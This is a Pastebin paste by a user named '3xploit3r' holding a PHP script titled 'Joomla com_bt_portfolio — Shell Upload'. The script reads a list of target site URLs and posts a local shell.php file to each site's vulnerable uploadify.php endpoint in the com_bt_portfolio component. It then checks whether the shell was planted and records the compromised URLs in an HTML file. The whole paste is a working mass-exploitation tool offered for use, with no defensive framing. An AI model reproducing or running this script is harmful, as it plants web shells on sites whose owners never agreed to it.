3xploit3r

Joomla com_bt_portfolio — Shell Upload

Aug 1st, 2016
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. <?php
  2. $file = "list.txt";
  3. $get = @file_get_contents($file);
  4. $e = explode("\r\n", $get);
  5. $open = fopen("result.html", "a");
  6. foreach ($e as $links) {
  7. echo "[!] Scaning : $links";
  8. bt($links);
  9. }
  10.  
  11. function bt($url){
  12. global $open;
  13. $fn = "shell.php";
  14. $uploadfile = (getcwd()).'/'.$fn;
  15. $postData = array('Filedata' => "@$uploadfile", 'folder' => "/");
  16. $ch = curl_init("$url/administrator/components/com_bt_portfolio/helpers/uploadify/uploadify.php");
  17. curl_setopt($ch, CURLOPT_POST, 1);
  18. curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
  19. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  20. curl_exec($ch);
  21. curl_close($ch);
  22. $sc = $url.'/'.$fn;
  23. $gg = @file_get_contents($sc);
  24. if(eregi("pass", $gg)){ // syntax to cheek index uploaded or no
  25. echo "\n[+] yes : $sc\n\n";
  26. fwrite($open,"<a href='$sc'>$sc</a><br>");
  27. }else{
  28. echo "\n[-] No \n\n";
  29. }
  30. }
  31.  
  32. fclose($open);
  33. ?>
Add Comment
Please, Sign In to add comment